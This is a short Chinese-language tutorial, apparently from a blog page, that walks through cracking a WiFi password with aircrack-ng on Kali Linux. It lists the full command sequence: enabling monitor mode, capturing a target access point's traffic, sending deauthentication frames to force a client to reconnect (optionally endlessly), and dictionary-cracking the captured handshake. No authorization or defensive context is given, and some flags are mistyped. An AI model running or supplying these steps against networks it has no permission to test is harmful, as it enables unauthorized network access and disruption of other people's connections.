赞
踩
注意kail支持的哪些芯片的无线网卡
root@KALI-EXPLOIT:~# iwconfig
root@KALI-EXPLOIT:~# airmon-ng
root@KALI-EXPLOIT:~# airmon-ng start wlan0(根据上一步查看到的设备名)
默认是接入模式,这个命令是开启监听模式
root@KALI-EXPLOIT:~# airodump-ng wlan0mon(根据上一步的到的设备名)
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
这个是可能会出现的问题,没有遇到选择跳过
root@KALI-EXPLOIT:~# airodump-ng -c 6 --bsssid AP's MAC -w wep wlan0mon
-c 后面的6为AP工作频道,-bissid 面为AP MAC地址
-w 后面的wep是抓下来的数据包DATA保存的文件名
保持上一步的窗口不关,新开一个窗口,执行以下命令:
aireplay-ng -a AP-MAC -c 切断客户端的MAC(重新连接) -0 5 (发送次数一般5次就够) wlan0mon(网卡名称)
截图: 成功获取握手包
解析: -0为模式的一种:冲突攻击模式,后面跟发送次数(设置为0,则为循环攻击,不停的断开)
-a AP-MAC指定无线AP的mac地址,即为该无线网的bssid值, -c 为客户端mac,即为STATION值
aircrack-ng tmp-01.cap -w /tmp/passwd.txt
截图:
破解成功后会出现:KEY FOUND!后中括号中间就是wifi密码
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。